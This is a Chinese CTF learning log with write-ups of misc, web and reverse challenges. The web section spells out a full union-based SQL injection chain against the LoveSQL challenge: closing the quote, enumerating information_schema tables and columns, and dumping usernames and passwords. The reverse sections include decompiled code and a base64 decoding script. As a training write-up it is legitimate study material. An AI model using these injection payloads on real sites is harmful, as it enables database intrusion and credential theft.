2.5学习记录

misc

文件中的秘密

打开附件后用随波逐流一把梭就可以了

被嗅探的流量

这题根据提示需要追踪到请求,在过滤栏输入:

php 复制代码
 http.request.method == "POST" 

在第二个包的结尾发现了

后门查杀

这个题打开附件发现一大堆,同时触发火绒监控根据提示后门密码就是flag,在vscode里面找到了

web

[极客大挑战 2019]LoveSQL

上方提示所以应该是只能手注了随便输一下发现可以交互,判断闭合方式判断应该是单引号闭合,试试万能密码发现没得到flag,但是找到了回显地址

进行联合注入发现2和3有回显位置
继续查询密码处输入1' union select 1,2,database()#
查询数据库接着爆表名1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#
1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#

爆列名1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
两个表爆出来都是这个,接着爆内容

php 复制代码
/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23

太长了查看源码在密码最后发现flag了

re

reverse3

先查壳没壳,放进ida查看,先找到主调函数

cpp 复制代码
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
  size_t v3; // eax
  const char *v4; // eax
  size_t v5; // eax
  char v7; // [esp+0h] [ebp-188h]
  char v8; // [esp+0h] [ebp-188h]
  signed int j; // [esp+DCh] [ebp-ACh]
  int i; // [esp+E8h] [ebp-A0h]
  signed int v11; // [esp+E8h] [ebp-A0h]
  char Destination[108]; // [esp+F4h] [ebp-94h] BYREF
  char Str[28]; // [esp+160h] [ebp-28h] BYREF
  char v14[8]; // [esp+17Ch] [ebp-Ch] BYREF

  for ( i = 0; i < 100; ++i )
  {
    if ( (unsigned int)i >= 0x64 )
      j____report_rangecheckfailure();
    Destination[i] = 0;
  }
  sub_41132F("please enter the flag:", v7);
  sub_411375("%20s", (char)Str);
  v3 = j_strlen(Str);
  v4 = (const char *)sub_4110BE(Str, v3, v14);
  strncpy(Destination, v4, 0x28u);
  v11 = j_strlen(Destination);
  for ( j = 0; j < v11; ++j )
    Destination[j] += j;
  v5 = j_strlen(Destination);
  if ( !strncmp(Destination, Str2, v5) )
    sub_41132F("rigth flag!\n", v8);
  else
    sub_41132F("wrong flag!\n", v8);
  return 0;
}

这里关键是识别函数

cpp 复制代码
v4 = (const char *)sub_4110BE(Str, v3, v14)

这是一个base64加密的函数,点进去查看发现是没有换表的加密接下来去找密文

exp:

python 复制代码
import base64

str2='e3nifIH9b_C@n@dH'
flag=''

for i in range(0,len(str2)):
    flag+=chr(ord(str2[i])-i)

print("加密:{}".format(flag))
print("解密:{}".format(base64.b64decode(flag).decode('utf-8')))

happy new year

拿到附件先查壳发现upx壳,用kali脱壳找到主调函数根据函数解析,得到flag为str2

不一样的flag

查壳32位程序,没壳,用ida查看主调函数发现1234控制上下左右,说明是个迷宫问题,先确定迷宫大小根据:

c 复制代码
 if ( v5 == 2 )
    {
      ++*(_DWORD *)&v3[25];
    }
    else if ( v5 > 2 )
    {
      if ( v5 == 3 )
      {
        --v4;

判断迷宫是5*5大小

*1111

01000

01010

00010

1111#

从 *走到#号

222441144222就是flag

相关推荐
从零开始的-CodeNinja之路4 分钟前
【棋弈云端】网页五子棋项目测试报告
深度学习·学习·单元测试·自动化
晨曦学习日记16 分钟前
C语言学习笔记:通过二维数组打印杨辉三角形
笔记·学习
ooo-p2 小时前
FPGA学习篇——开篇之作
学习·fpga开发
朝九晚五ฺ2 小时前
【Linux探索学习】第二十八弹——信号(下):信号在内核中的处理及信号捕捉详解
linux·运维·服务器·学习
look_outs4 小时前
PyQt4学习笔记1】使用QWidget创建窗口
数据库·笔记·python·学习·pyqt
Ares^o^4 小时前
蓝桥杯学习笔记01
笔记·学习·蓝桥杯
_Eden_5 小时前
Docker技术相关学习二
学习·spring cloud·docker
s_little_monster5 小时前
【Linux】进程状态和优先级
linux·服务器·数据库·经验分享·笔记·学习·学习方法
siy23335 小时前
[c语言日寄]C语言类型转换规则详解
c语言·笔记·学习